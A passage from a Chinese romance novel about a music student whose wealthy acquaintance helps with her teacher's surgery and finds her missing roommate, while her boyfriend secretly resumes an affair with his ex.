阮灵吹干头发回宿舍,还想跟陈静安聊异地恋的事,秦宜年有钱也有颜,放在哪都是炙手可热,她担心两个人长时间不见面,那边生出什么幺蛾子,陈静安仍是那句话,她信任秦宜年,换句话来说,如果秦宜年这点也没办法做到,也就不堪托付。 “你倒看得开。”阮灵耸肩,也是,陈静安自身条件好,自然有这个底气,男友体贴家世好,事业上又有业界大佬保驾护航,前途无限,她是发自内心的羡慕。 “对啦,周教授身体怎么样了?” “不太好。” 陈静安摇头,周正卿最近时常心悸,严重时呼吸困难,但老师还是坚持不动手术,不耽误教学进度,要拖到暑假。 接到医院打来电话是在几周后的夜里,告诉她周正卿发病住院。周正卿无儿无女,师母早几年因病去世,他便一个人独居,从教生涯一直拿学生当亲生子女看待,陈静安想也没想,第一时间收拾东西赶往医院。 周正卿是心脏问题,冠心病,需要做冠状动脉旁路搭桥术,大手术,所以周正卿一而再地推迟手术时间。 陈静安将情况告知群里的师哥师姐,师哥师姐们有的在外地有的在国外没办法赶回来,只能托付陈静安好好照顾恩师,并一定要劝说老师手术,如若老师还坚持,他们就一块挤在病房床头,采用人海轰炸的非常手段。 这次事发突然,许多东西都来不及准备,她只来得及在医院附近水果店买了果篮,准备在看过老师后下楼再买齐日用品,仓促赶过去,在问过护士后找到病房,还没进去,便听见里面的交谈声。 “这次真是太麻烦你了。” “您客气了,家父路上一直叮嘱我用心,如有半点怠慢,这家门也就不用回。” 周正卿笑笑。 陈静安没想到还有其他人,只觉得声线有些熟悉,但也没多想地推开病房门,老师已经换上病服坐卧在床,床边的人身形挺拔,略抬眼望过来,对视间,她先怔了怔。 周正卿面瘦少血色,冲她笑笑招手,不知道两个人见过,率先介绍道:“静安,过来见过沈先生,沈烈,我故交好友之子。” “陈静安,我的爱徒。” 沈烈这次规矩套着西服外套,宽阔肩膀撑起衣料,并没有过瘦而显得空荡,曲起手臂隐约显露肌肉线条,内里的白色衬衣领口的扣子系紧,他眉眼幽邃,看起来礼貌斯文。 “陈小姐,你好。” 一个友好的,礼节性的淡笑。 陈静安却觉全身血液倒流,脚步细微挪动,有些无措地并弄,她不知道他的意图,出现在这在打什么主意,亦或者,只是巧合? “您好,沈先生。” 她表现得尽可能平静。 “早跟医院打过招呼让他们不用通知你,连累你又跑一趟。”周正卿以前是出名严师,年纪越大反倒越温和,师哥师姐常感叹生不逢时,他们的小师妹是最最受宠。 陈静安走进去,将水果篮放在床头柜边,皱紧眉头,语气有些埋怨:“您还说呢,您这次晕倒多危险,师哥师姐都很担心您,让我一定要说服您动手术。” “没这么严重,让他们不用担心,别耽误演出。”周正卿不以为意笑了,“我已同意手术,定在一周后。” “您终于想明白了?”意外也惊喜,只是陈静安表现的更内敛,有外人在,她感觉不自在。 “还是沈烈帮忙,他帮忙联系上这方面的权威专家,手术很难排。” “这功劳我不敢冒领,我哪来这面子,对方是您多年的粉丝,知道是给您做手术,才欣然应下。”沈烈适时开口,语气淡淡,恭维话从他嘴里说出来,并不显得假,三两句将周正卿哄得服服帖帖。 陈静安本准备下楼买日用品,被老师告知东西已由沈烈的司机买好,她只好沉默不语地听着两人聊天。 沈烈手底下有结合传统文化宣传的策划,向周正卿讨教,周正卿一向对传统文化传承与发展感兴趣,侃侃而谈,甚至笑着说他们学校的学生都可用上,要多给年轻人机会。 如果不是在这之前见过沈烈,还真误以为他是什么谦逊恭让的斯文绅士,他表现得越温文尔雅,她越觉不可思议,看透在白净俊逸皮囊下,蛰伏的分明是只青面獠牙的豺狼。 聊了会,周正卿也累了。 “时间也不早了,能再麻烦你将静安送回学校吗?太晚,她一个女孩子我不放心。” 陈静安本来在削苹果,闻言握着水果刀的手一顿,果皮断开,差点割破手指,仍镇定抬头,笑容勉强:“不用,时间还早,我搭地铁回去。” “这里离地铁还有段路,你一个人我不放心。” “老师……”陈静安还在想如何拒绝的不失礼貌,又理由正当。 “周叔,我想我看起来应当像是能吃人。” 沈烈笑时眼尾有很重的阴影,也许是病房里灯光原因,亦或是心理原因,总觉得这和煦淡笑反而让她不寒而栗。 陈静安无意识抿紧唇。 周正卿一头雾水:“吃什么人?” “不然这位陈同学看起来怎么会这么怕我?”他稳稳收回视线,漆黑的眸光被垂下的眼皮遮蔽,嗓音慵懒散漫。 “她性子沉稳内敛,面皮薄,你就别逗她了。”周正卿看向陈静安,“静安呐,不怕啊,他回去正好顺路,这样我也放心。” 这下,她再拒绝,就真像怕了他。 5. 第5章 司机在医院外等许久,几根烟抽完,才终于有电话进来。眼神一跳,他忙着将烟掐灭,空气里有刚散开的雾,他挥了挥,散味。片刻后,沈烈从医院出来,几步后,才瞥见身后跟着位女生,白T长裤,朴素简单女学生打扮,那张脸他认得,是剧院外躲雨的小姐。 两个人一前一后走着,前面的背影挺阔,像难以撼动的山,陈静安在跟秦宜年打电话报平安。 出医院,声音有刻意拔高:“老师没什么事,住院等手术,嗯,不用担心,我现在从医院出来,回学校再给你打电话。” 到车前,沈烈停下,回头。 电话已经挂断,陈静安不明所以又警惕地慢慢放下手机。 “陈小姐需要拍车牌号吗?”沈烈问,眼神示意。 陈静安脸上有些发烫,知道沈烈是在揶揄自己,在他眼前,她感觉自己透明一般,什么小心思一览无余。 “不用。” “确定?” “……嗯。” 司机拉开后座车门:“请上车。” 陈静安握着包带,到车边忽然又想起什么:“沈先生,能在附近地铁站停下吗?学校附近路堵车挤,就不耽误您了。” “不能。” 沈烈答的很快,果断的拒绝。 “……” 沈烈立在车的另一侧,全身隐在暗处,具体的神情无法考究,面部轮廓全由光与影雕刻,只能从声音判断情绪很淡:“受人所托,忠人之事,如果你今晚出事,我怎么跟周叔交代?” “如果陈小姐实在不放心,建议你拍好车牌照发给你那位男友,他认识,你如果有事,他知道找谁。” 陈静安想说地铁安全,沈烈先抬手看腕表时间,支着眼皮看她,提醒道:“陈小姐,我赶时间。” “好,麻烦您。”陈静安咬牙上车。 车上的时间并不好过,一分一秒都煎熬,两个人同坐后座,车内空间狭小,即便没半点肢体接触,但车是沈烈的,味道也是,如本人一般霸道,前调清冷,后调是木质的沉郁,她几乎要将自己贴在车门,皱缩成一团,像挂件,没什么存在感,静静熬过这四十来分钟。 陈静安甚至在想,如果沈烈有半分逾越,她会报警,会跳车,不惜拼尽力气,她全身绷得很紧,像稍有碰触就能弹射出去的弹弓。 但,沈烈什么也没做。 大多时候他背靠后椅,闭眼休憩,中途有电话打进来,关于工作,他打开电脑查阅邮件,看完提几点建议,条理清晰。陈静安坐得端正,偏着头看窗外车流,半点余光也未曾往那边泄露,只是车驶入隧道时,车窗上猝不及防映出他的影子。 侧颜优越,鼻梁挺拔,眉骨高耸,下颌线条清晰分明。他工作时,又是另外的样子。 心脏停滞半秒,陈静安即刻收回视线,半阖上眼,看放置在腿上的手,摩擦指腹上的薄茧。 车停在距校几百米的位置,是沈烈授意。 “人多眼杂,为避免陈小姐被人说闲话,就送到这了。” “谢谢。” 他们学校不乏有钱学生,这样的豪车太过扎眼,而她半夜从豪车上下来的确不合适,有些意外沈烈会考虑到这点。这次的道谢是真心实意的。 走之前,沈烈甚至没给一个眼风,依旧盯着屏幕上的文件: “陈小姐,慢走。” 语气极淡,没有半点情绪。 陈静安也不得不反思,或许上次会所是误会,他跟自己男友不合,那些话不过随口说说,以对方身份地位,什么样的女生没见过?自己只是位普通学生,又怎么会引起他的兴趣,而老师的事,也是两家早有交情,这些,也不过是巧合。 想清楚后,反倒轻松很多。 — 陈静安课后一有时间就去医院看望周正卿,师哥师姐也陆续回来,病房里一直有人,几位昔日学生围在老师的床头,谈起往事,比谁屁股上挨得板子多,陈静安一次也没有,师哥师姐大喊老师偏心。周正卿抱着被子笑着为自己辩解,哪家不最疼老幺?谁要是羡慕,再拜一次师门也不是不行。 手术顺利,两天后转入普通病房。 陈静安再没见过沈烈,但他的名字时常被老师提起,周正卿对他的评价很正面,术前术后安排周到,他来过几次,只是没跟她撞上。 转眼,秦宜年调往滨城已经半个月,工作刚上手时,因为之前没做过,再加上需要梳理各方关系,每天忙的脚不沾地,如今理出点头绪后,才顾得上跟陈静安汇报情况,感叹那里如今什么都好,只是没有她也就没什么意思。 “看着瘦了,难为你每天学校医院两头跑,我这周末回来,怎么着也得养回来。” “不忙么?如果工作脱不开就算了。” 秦宜年笑:“看来只有我想你,某些人是没心肝的,是一点也不想我。” 陈静安改口说是想的。 秦宜年在那边叹气:“好想现在就抱抱你。” 这话是真的,来滨城后,明里暗里的应酬,都少不了漂亮女人作陪,他都是以自己有女友拒绝,刚开始对方以为他京城来的公子哥眼光高没瞧上,削尖脑袋找来脸蛋跟身材都一绝的姑娘,秦宜年仍是原话拒绝,后来被调侃是位好男人,为女友洁身自好,他也颇为得意,将原话说给陈静安听,讨要褒奖。 陈静安唇畔含笑,声音温软:“嗯,夸你。” 滨城忽然进入雨季。 秦宜年让司机开车过来,他在楼下等,雨水交织,他看见一道纤细身影跑过来,拿包顶在头顶,另一只手抱着画框,护在身前,因此她跑得吃力,雨水打湿她裙摆,白色单鞋沾上泥,脚踝被冻红。 女生跑来躲雨,额前的碎发也湿掉,一缕一缕贴在面颊上,有些狼狈地抖落包上的水,处于礼貌,秦宜年并没直视对方以免让人尴尬,只是余光里,女生面孔越发熟悉,他如遭雷击,扭头,才确定自己没认错。 也许目光太过炙热,女生回过头跟他对视,杏眸微怔,同样意外,眼底湿润透亮,像是也淋了这场大雨。 喉咙像被人掐住,秦宜年晦涩艰难轻声问起:“你……还好吗?” 徐若晴盯着他,微微一笑:“我如果说不好,你会愧疚吗?” — 周正卿出院后,陈静安的生活更单调,大部分时间用来练琴,偶尔也会在阮灵软磨硬泡后在学校附近吃饭逛街。 被系主任单独叫去是周五,主任简明扼向她提到有资方想要请学校推荐学生拍摄一支广告,以传统文化作背景,需要民族乐的学生,从某种层面上来说,也算是宣扬民族文化,而且对方开出的报酬丰厚,是难得的机会。 “你形象好,专业能力又过关,我跟周教授都推荐你。” 陈静安还记得那次病房谈话,没有直接答应,问清楚后才知道资方姓沈,而这次合作只是开端,往后可能有更多机会。 系主任很看重这次合作,因此极力想让她接下。 陈静安以演出练习任务太重,并且身体不舒服为由推辞,她没想多,只是跟沈烈几次接触感官都不太好,男友也一再叮咛,尽可能避开总是对的。 系主任皱眉,也没有执意让她同意,略沉顿片刻:“这样吧,这次说得也突然,你回去再想想,我是希望你能接下的,这件事也是周教授牵线,你作为他的关门弟子,总不能不支持。” 从主任办公室出来,阮灵在楼底等她十来分钟,走过来挽住她手臂好奇系主任说什么。 陈静安将广告的事简述一遍。 阮灵伸手探她额头,语气夸张:“你是不是在发烧,五位数的广告费你不想去?多好的机会啊,你长得这么好看,要是被导演看上,选个秀出个道,我还弹个什么琴啊,直接当你经纪人!” “你知道的,我没有这方面的想法。” “那请你现在有!”阮灵语气坚定。 但陈静安只是表面清冷温柔,实际性子倔,父母是大学教授,家里条件也算富足——经济与精神,耳濡目染下,她性格温吞,却也有自己的追求,不是只一味追求金钱的数额。她既有主意,便很难被说服。 阮灵最终放弃,灵光一闪:“要不然我替你去?这么多钱啊我心动死了!” 而且她长得也不差,从小到大也算是小美女,面对镜头拍广告,她也有那份自信。 “就这么定了,但是,你必须得陪我去。”阮灵亲热搂着陈静安,腼腆笑笑,“我一个人去还挺怕的。” 周日,陈静安一大早陪阮灵过去,她没进去,只在附近咖啡店找位置等,给阮灵加油打气,看着她挺胸抬头,雄赳赳迈步进入写字楼。 写字楼顶层,助理纪弘推门进入汇报京大音乐学院的学生来了,闻声沈烈抬眼,身体往后仰,放松地靠上椅背,眉心舒展,唇线有细微扯动,在听到纪弘补充来人不是陈静安,而是另一位女学生时,静默半秒,而后喉咙里溢出声轻哂。 身体往前倾,窄腰贴着桌边,他散漫、恹恹地支着眼皮,骨节分明的指间捏着支钢笔,转动玩弄。 纪弘解释:“听说是因为陈小姐身体不舒服。” “重病么?” “……这倒是没说,看样子挺严重。”纪弘硬着头皮道。 沈烈支着下巴,面色沉静如水:“重病应当猛药医治,不是吗?” 小姑娘不仅聪明,也机警的很,只是不知道她猜中他几分心思,这次也能想到脱困的法子么。 他有那么点好奇。 6. 第6章 半个小时后,阮灵发来消息,她过了,当场签下合约,并会在两个工作日内支付百分之二十的定金。 但拍摄过程病不顺利,阮灵吐槽自己大概没什么天赋,一个镜头要反复拍上十几次,她心情忐忑,感觉挺对不起工作人员,对方一再安慰她并没关系,她心理负担反而更重,焦虑到整晚睡不着。 痛苦、煎熬,阮灵陷在情绪里出不来,大哭一场,红着眼说钱原来这么难挣。 陈静安担心她,开解无果,建议她跟对方负责人谈谈,看能否解约,支付一定的违约金也是可以的,阮灵不甘心,她想再试试。 既然阮灵坚持,她也没有再多说,跟往常一样背上琵琶,去练习室。 当晚,阮灵没回来。 陈静安打电话过去,没人接,又问过共同朋友,对阮灵的去向并不知情,已经近十点,拍摄早该结束,阮灵也是外省人,市内的朋友不多,想到她这几天状态不好,陈静安担心阮灵出事。 最后一通电话,阮灵的手机关机,她坐立不安,打车去了摄影棚。 摄影棚搭设在五星酒店礼堂内,阮灵曾发过定位,她找过去,被酒店工作人员告知,拍摄早已经结束,礼堂已空,没人。 陈静安只好询问对方有没有注意到一个瘦高鹅蛋脸的年轻女孩,背着古筝,应当极具辨识度。 “不清楚,这里出入的人太多。”工作人员道。 “能看一下监控吗?” “抱歉,这涉及到隐私,个人是无法查看。” 陈静安也清楚,但阮灵失联的时间不足以报案,她没其他办法:“能通融下吗?我朋友最近状态很差,我怕她出事。” 工作人员:“抱歉,真不行。” “好,谢谢。” 出酒店,陈静安没离开,她想不到阮灵去哪,没主意时想到秦宜年,他认识的人多,或许可以找人帮忙,可以让酒店破例一次。 但,秦宜年的电话一直没通,她才惊觉两个人的通话在星期三,三天没联系,他说好周末回来也没消息,想必新工作过忙没时间,或者其他原因,陈静安不愿去深想。 春夜里,风里裹挟凉意,粘附皮肤渗入骨髓,出来太急,陈静安只随手拿得针织外套,脚下踩着的帆布鞋,她拉紧外套,无比希望下一秒阮灵的电话打来。陈静安问过隔壁宿舍的同学,阮灵没回去。 能去哪呢? 陈静安单手握紧手臂,手指骨节被冻得泛红,无助茫然,秦宜年一直没回电话。 直到几辆车平稳缓慢驶来,酒店侍应生打开车门,余光里,陈静安看到张熟悉的面孔,她没想到会在这里看见沈烈。 一同进酒店的,不止沈烈一人,他的车在末尾,先下车的几人停下驻足,目光望向一处,夜风忽然吹紧,沈烈下车,眼阔深邃,感知到冷意,单手系上一颗外套扣子。 几人并未直接进去,说话寒暄,有人喝醉,红光满面,打过招呼后才在助理的搀扶下进去。 酒店的光是白炽的冷色调,沈烈挺拔的身形笼罩其中,他始终不冷不淡,冷热适宜,在光影交错的热闹里,他既能将自己置入其中,也能轻易置身事外。 陈静安陷在阴影里,心情复杂,望过去又默默地移开视线,紧咬住唇,迟迟做不出决定。 很明显,两个人并无关系,她既没有资格也没无交情请求他帮忙,而他也没有任何义务帮自己,但,他似乎是眼下能想到的唯一办法。 时间不早,阮灵还没消息。 人陆续进入酒店。 沈烈偏头跟身边人说话。 再多一秒,他进去,她将再无机会。 风赫赫作响,陈静安深吸一口冷气,朝沈烈走过去。 “沈先生。” 她许久没开口,嗓音干哑细微,她作了个细微吞咽动作,而后挺直腰背,这一声音量要大许多。 “沈先生。” 沈烈回头,视线略低,对在这里见到她有几分意外:“陈小姐?” 陈静安攥紧手,手心里似乎冒出汗,越想握紧越握不住,她知道自己接下来的话有多离谱:“沈先生,能请您帮个忙吗?” 是冷白光打在脸上,也无法掩饰的红,她感觉脸火辣辣的。 窘迫,羞愧,慌乱,各种情绪在作祟。 四周似乎静默住,空气变得不流通,胶体一样,粘稠笨拙。 陈静安耳边是嗡嗡作响的噪音,掩饰着鼓跳如雷的心跳声,她甚至不清楚她说话时的口齿是否清晰:“我室友,签了贵公司跟我们学校合作的广告,她近段时间压力很大,状态很不对,今天拍摄结束没有回校,我打不通她电话,身边也没人知道她去哪了,我担心她,担心她出事。” 她揪着衣角,为自己感到羞耻。 沈烈垂眼看她。 她穿得不多,长及脚踝的长裙外,套着针织外套,肩膀瘦削羸弱,脖颈修长纤细,一头柔顺长发,像水洗过的砚台,漆黑光亮,低着头不敢看他,长睫毛下,是双水润眼眸,她看起来柔弱的不经风,又偏要将腰背挺立得笔直,表里不一的矛盾感,如同他见她第一面时的样子。 陈静安说完,抿紧唇,想等待发落的犯人。 帮或者不帮她都认,都能理解。 沉默太久,陈静安在焦急等待中抬眼,迫切想要从他神情里读出点什么,但沈烈面色寻常,支着眼皮看人时,甚至有些困倦的懒散。除此之外,她什么也看不出来。 四目相对。 沈烈唇角牵动:“看来陈小姐是将我当作是做善事的好人。” — 酒店大堂里开着充足暖气,陈静安坐在休息区沙发时,脑子里还有些晕,沈烈开口时她的心也跟着悬落,以为被拒绝,却没想到被她被请进酒店内,酒店工作人员送来一壶小吊梨汤让她暖身。 沈烈叫来酒店经理,提取监控,陈静安提供阮灵的照片,酒店的安保人员根据照片找人。 工作量不小,需要等,但多少有了方向。 陈静安跟在沈烈身后,听他叫人过来,调度安排紧密条理,让人联系拍摄组,询问阮灵当天的状态跟反常之处,也提前跟左右两边商铺交涉……人什么时候出酒店,跟谁,哪个方向,如果真找不到人,也能为警方找人时提供参考。 不是随口交给身边人。 她怔愣片刻,觉得秦宜年对沈烈的评价或许有些片面。 陈静安等了许久,剩下的半壶小吊梨汤已经冷透,被换下,重新上了壶热茶,她握着手机,方便有消息时能第一时间知道,身体困倦,所处的环境温暖,渐渐地没开始坐得端正笔直,两肩耷下去,眼皮重到难以自支。 她短暂睡着,又很快醒来,反反复复。 沈烈过来时,陈静安闭着眼,一张瓷白干净的脸,五官小巧精致,抿着唇线,身体略有些倾斜,瘦弱的像随时都能往下倒,睡得很不安稳,因此很快醒来,睁眼,是道模糊的身影,对方俯视姿态,表面斯文,实则落拓不羁。 意识到是谁,陈静安瞬间没了睡意,她坐直身子,像是开小差被老师检阅的学生,规规矩矩,就差将好学生映在脑门上。 沈烈饶有兴趣地打量。 “这么怕我?” “……没有。”这话听着没什么底气。 沈烈不以为意淡笑,手指刮过眉骨:“让我猜猜你这份怕里,秦宜年有几分功劳?” 听到他提及男友,陈静安猛地抬头,在下一秒时才反应过来,这下意识的动作完全是不打自招。 “这酒店秦家有股份,不少,我很好奇你为什么不找秦宜年?”视线往下落,落到脚底,意味深长,问她为什么宁愿狼狈站在酒店门口外,向一个并不熟识的人求助。 “他在外地。”陈静安解释。 “一个电话的事。” “他很忙。” “是么。” 陈静安嗫嚅着唇,还想搜刮出其他说辞为男友开脱,但沈烈已经收回视线:“你室友找到了。” 人是在十几公里外的酒吧找到的,在酒店监控里,有位年轻男子跟阮灵同时出酒店,但看不清脸,又往上查同样发饰的男人,最后认出是酒店里几天前入住的客人,按照对方留下的电话号码拨过去,才最终找到人。 阮灵已经喝得烂醉,被送回酒店,见到陈静安时分外惊诧,笑嘻嘻凑过去捏她脸,问她怎么在这里,陈静安无奈又没办法,扶着阮灵防止她摔倒,站稳,她又手舞足蹈跟一起喝酒的男人打招呼说再见。 “嘻嘻,再见,我好姐妹来接我啦。”阮灵又抱紧陈静安,“静安,你怎么那么好呀。” 又注意到不远处的沈烈,眨眨眼,扭头跟陈静安道:“静安静安你看到了吗?是真的,还是幻觉?” 不确定,再看几眼。怎么会那么好看? 陈静安:“……” “乖,我们该回学校了。” 眼下已经过门禁点,她们进不了宿舍,陈静安有考虑到这点,出来时拿了两人的身份证,准备在学校附近酒店开房。 “我让人送你们回去。”沈烈叫来司机。 “沈先生,今天真的很谢谢您。”陈静安一手抓住阮灵乱舞的手,艰难道谢。 从他们认识到现在,她似乎一直在说谢谢。 司机已经将车开来,帮忙将阮灵扶上车,她在后面拿着阮灵的包。 “陈静安。” 身后,沈烈叫她的全名。 第一次。 陈静安蓦地转过头,迎上他的目光,沈烈立在三个台阶的平层上,高大的身形在融融夜色里很难被忽视,世界仿佛骤缩,而被他完全侵占,她看不见天上弯钩似的月,也见不着熠亮的星,她只看见他,也只能看见他,深邃眼阔里眸光漆亮摄人,最后却只是轻扯了扯唇。 “陈静安。” “你欠我一份人情。” 7. 第7章 阮灵醉得厉害,到酒店就吐了,陈静安替她处理干净,卸妆擦脸,阮灵迷迷瞪瞪,擦脸时认出是她,眼眶跟着猩红,眼泪滚落,抽泣一遍遍叫她名字,委屈又不甘,问她自己是不是什么也做不好,陈静安只能心疼抱着阮灵,拍背安抚。 哭累了,阮灵倒床睡着。 陈静安仰躺下来,折腾半夜,身体疲倦麻木,脑子却清醒澄澈,不断回想上车前那幕。沈烈的脸在记忆里越来越清晰,他面部轮廓,高挺鼻梁,以及极小的向上的弧度。他从出生起就拥有一切,翻手为云,覆手为雨。 房间地灯没关,一点光亮,如萤火,仿佛下一刻就能被黑暗吞噬。 陈静安思绪纷乱,想到很多,想欠沈烈的人情怎么还,她一个普通学生拿什么还,想到秦宜年的失联,又是否真这么忙,忙什么,只是工作吗?这种感觉如置身泥泞,往前,往后,她被困住,脚下每一步都不确定,深陷其中,难以自救。 秦宜年的电话在早上回过来,他道歉,解释是因为连续加班导致睡过头,没能听到手机响动。 陈静安猜到回答,咬了下唇:“今天也要加班吗?” “唔,不好说,但我这阵快忙完,我回来看你好不好?去你喜欢的那家餐厅,看音乐剧或是电影,我要关机,那一天,秦宜年只供陈静安小姐支配。” 也许是刚睡醒的缘故,嗓音喑哑慵懒。 陈静安有些动容:“我只想你好好休息。” 秦宜年低笑说好,又问昨天那么晚打电话是不是有急事。 陈静安将昨晚的事简述一遍,秦宜年在听到沈烈名字时便一瞬沉默,声音冷下来问沈烈为什么会认识她,陈静安解释:“老师发病进医院,他也在,所以有过一面。我联系不上你,想不到别的办法。” 秦宜年自知理亏,又温声问后面的事。 “我想你回来那天,我们一起请他吃顿饭,你,方便吗?” “我看应该没这个必要,这种对他来说不过是一句话的事,而且他们这种人也看不上一顿饭,反倒让人笑话。” 陈静安不同意他的说法,但也没有要争执的意思,秦宜年让她别再想,这事就这么过去了,没说几句,又说时间不早,匆匆挂断电话。 “干嘛,挂这么快,怕我使坏?” 浴室的门被推开,徐若晴刚洗完,头发只用毛巾擦过,湿漉漉的,发梢滴着水,将身上套着秦宜年白色T恤打湿,她抱着手臂依靠在门边,望着他,眉眼含笑:“我还挺好奇,我跟你女朋友谁更好看?” 秦宜年靠上床头,听她提到陈静安,不悦皱眉,对这问题本能排斥。 徐若晴笑意减淡:“怎么,我连跟她比的资格都没有?” “你们不一样?” “哪里不一样?她什么样,我又是什么样?” 徐若晴看他神情不快,不以为意笑笑:“我知道,我跟你只是床上关系,这一点我很清楚,你回去,我也不会纠缠你。几年前我没有,现在更不会。” “你不用把自己,把我们的关系说得那么不堪。” “不然呢?”徐若晴款步走来,上床,撑着手臂靠近他,面对面,几乎碰到唇,另一只手从脸颊往下下滑,是引火的线,攀连上关键处,停顿缠绕,兴风作浪,“阿年,她有这样碰过你吗?有让你这样快乐吗?” 秦宜年呼吸急促,双目猩红:“没有。” 他们没有做过,他不是没动过心思,但陈静安还是学生,性格内敛慢热,家里也是传统书香门第之家,她看起来太干净,太柔弱,他不愿意,他愿意将所有美好留在新婚夜。 他们的新婚夜…… 秦宜年有些失神,徐若晴却没给他机会,亲吻他的唇,引领他,进入风暴中心,其余一切抛之脑后。 遇到徐若晴是意外,秦宜年刹那胸口震颤,上车时仍有余韵,他当时在念大学,徐若晴是美术系学生,校园恋爱,单纯美好,他那时候不知天高地厚,带她回家见父母,一屋子鸡飞狗跳,所有人逼着他们分手。他不肯,但坚持的辛苦,之后两个人大吵一架,他失言,徐若晴人间消失。 也不算人间消失,只是他没找,甚至觉得解脱,这样断了或许是最好结果。 几年后再见,心境已经变了。 第二次见面是他主动找过去的,徐若晴办起画展,他恭喜她如今事业成就,她淡淡一笑说也是最近得人赏识。 秦宜年看完画展里每一幅画,想找到这几年时间流逝的痕迹。 展览结束。 徐若晴拨弄长发,询问他要不要去家里喝一杯。 — 陈静安决定还是选一份礼物——袖扣,小物件,价格或许她能承受。 阮灵早上酒醒,知道昨晚因她发生的不少事,想要出一半的钱,她昨晚一条一直到拍摄结束都没能过,别人不说,她也能感受大家都窝着火,她心里不好受,出来遇见酒店的男人,对方看出来,主动提出请她吃饭,谈吐不俗,长相斯文,又在五星酒店入住,她觉得对方算得上是位绅士。 两人相谈甚欢,男人一直在开导她,最后相邀酒吧买醉,她心里憋闷,酒量不好,醉得很快,酒吧太吵她没听到来电铃声,至于关机,她猜大概是喝醉不小心摁到了。 袖扣是阮灵跟陈静安一块去挑的。 阮灵趴在柜台前,目光扫过陈列,感觉大差不差,她不懂男士审美,转头问:“那位沈先生的看起来什么样?” 昨晚醉眼模糊,她只记住了惊艳,却记不住到底长什么样。 有钱有颜,品味应当不俗。 陈静安被问题问住,她没办法形容,最后挑了款锁式袖扣,金属色泽,有种机械美感,看起来冷硬强势,几千的价格也在预算之中。 结账走人,阮灵肉疼地看着手里的袋子,不比她包包大,礼盒放进去还显得空旷。几千块,买了个小指头大小的东西。 礼物本该是两人一起的,但阮灵当天拍摄出乎意外就这么过了,导演请所有工作人员吃饭,她在电话那端的语气格外兴奋,只能拜托陈静安去送:“静安,拿到钱我要请你吃饭,吃十顿!!!” 陈静安为她高兴:“好,那我从现在开始饿肚子,然后吃垮你。” “我不怕,你敞开吃!静安,导演在叫人了,我先不跟你聊,晚上见面说。” “好。” 陈静安看着手中的礼袋,有些伤脑筋。 礼物怎么送?陈静安昨晚留了心眼,主动留下沈烈司机的联系方式,为还人情做准备,两个人没什么交际,要还也需要途径。在地铁上思忖再三,她想将礼物交给司机,再经司机转交给沈烈。 司机没收,有些为难:“陈小姐,这不合规矩的,收礼这种事我不敢擅自做主,这样吧,您等我问一下沈总,再看怎么处理?” “好。” “麻烦您了。” 司机打完电话道:“沈总的意思,既然是送礼,于情于理也该当面赠与,但沈总还有工作,不知道陈小姐能不能等等,需要两个小时左右。” “能的。” 陈静安点头。 不到两个小时,有人下楼来接,对方看着眼熟,但陈静安不记得在哪见面,在电梯里聊几句才知道对方是沈烈的助理,姓纪,纪弘。对方和善客气,陈静安说他有些面善,他笑:“也许之前见过面呢?” 到顶层,电梯门开,纪弘带她去往办公室。 跟影视剧里看到的老板办公室一样,主色调是冷色,大理石地面,灰黑色墙面,金属质地落地台灯,一张诺大的办公桌,身后,是环面的玻璃幕墙,楼层高,视野极其开阔,如在云端。 沈烈对她的到访并不意外。 学生心思简单,还人情能想到的办法,无疑请吃饭送礼物,再其他,就不在他们能承受的范围,而陈静安清冷中或许还有些清高,这样的人,不太喜欢欠人东西,人情更是。 “沈先生,这是我跟室友阮灵挑的礼物,我们都很感谢您那晚的帮助,不算贵重,希望您不嫌弃。” 陈静安沉着气走过去,在桌前一步停下,双手握着礼袋,手指紧张用力,又要竭力克制。 沈烈接过礼物,里面躺握着两小只袖扣。品牌一般,但眼光不错,他捏在手里把玩,金属的冷质感,抬眼:“倒也不用这么客气。” “应该的。”语气要更疏离客气。 礼盒被合上,被沈烈放进抽屉里,闲闲地问:“你室友后来没事吗?” “阮灵只是喝太多,第二天酒醒也没事了。” “嗯。” 陈静安作细微吞咽动作,她并不擅长聊天,礼物送到,她也想走,正想着要怎么开口,办公室的门再一次被敲响推开,纪弘道:“沈总,秦总来了。” “请秦总进来。” 刚好,陈静安眼前一亮。 她抿唇跟着道:“沈先生,那我先走了,祝您身体健康,万事顺遂。” “来人你认识,秦元明,秦宜年的大哥。”沈烈不紧不慢地开口,看到陈静安脸上的错愕,平静的很,“既然是熟人,也该打个招呼。” 事实上,陈静安从未见过秦元明,又是哪门子的熟人。她想解释,又觉得这种事属于私事,没有必要。 大概是读懂陈静安脸上神情,沈烈问:“你们不是有结婚的打算,怎么,他没带你见过他家人?” 陈静安拧眉,结婚的事她不知道沈烈从何得知:“我想沈先生误会了。” 沈烈手肘抵着桌面,食指抵着下颚,了然的样子:“也是,毕竟有前车之鉴,再想带去见家长也该谨慎。” “什么前车之鉴?”陈静安声线轻颤。 “你不知情?” 沈烈恍然,轻啧一声:“我想,是我失言了。” 8. 第8章 陈静安跟秦元明远远打了照面,对方跟秦宜年只是眉眼有几分相似,她低头垂眼,而对方偏头跟纪弘说话,他没看见她,两个人擦肩而过。 从大楼出来到地铁站,陈静安回想办公室里的对话,沈烈口中的前车之鉴,或许是秦宜年的前女友。 她知道秦宜年在她之前有过几任女友,具体几任怎么分手一概不知,只是不知道有一任已经到见家长,谈婚论嫁的地步。 为什么分手?家里原因。 如果不是感情问题,那么那份感情到现在,还有多少?阮灵时常说她谈恋爱平静理智的可怕,但在这件事上,她没办法做到毫不介意。 如电话里所说,几天后,秦宜年回京城,下飞机便来见陈静安,风尘仆仆,他靠着车,敞开大衣,将陈静安拥抱在怀,下颚抵着她的肩,舒服喟叹一声:“让我好好抱一会,我可是连家都没回就赶来见你了。” 陈静安仰头,有些当真:“这样是不是不好?” “是不好,抱得不够紧。”秦宜年笑笑,“反正家里不止我一个儿子,回不回去也不要紧。” 两个人一同吃饭,吃到一半,陈静安提起那位前女友,秦宜年握筷动作一顿,很快被笑意掩饰,问她怎么突然想起问这些事了。 陈静安停下,目光清明平静:“只是好奇,是不方便讲吗?” “这又什么不方便讲的,只是觉得都是过去的事,你不提,我都快忘记了,”秦宜年喝了口水,“怎么说呢,也不是初恋,大学时谈的一位,那时候是楞头小子,冒着傻气,就想着该带给家里看看。” “是因为父母反对才分手的吗?” “也不是,两个人本身也不合适。” “谁提的分手?”陈静安问。 秦宜年抱着手臂撑上桌面,眯眼笑:“我怎么觉得你对我越来越上心了?只是问前女友这种容易踩雷的问题,不知道是不是该高兴。” 陈静安怔愣:“我是不是问太多了?” 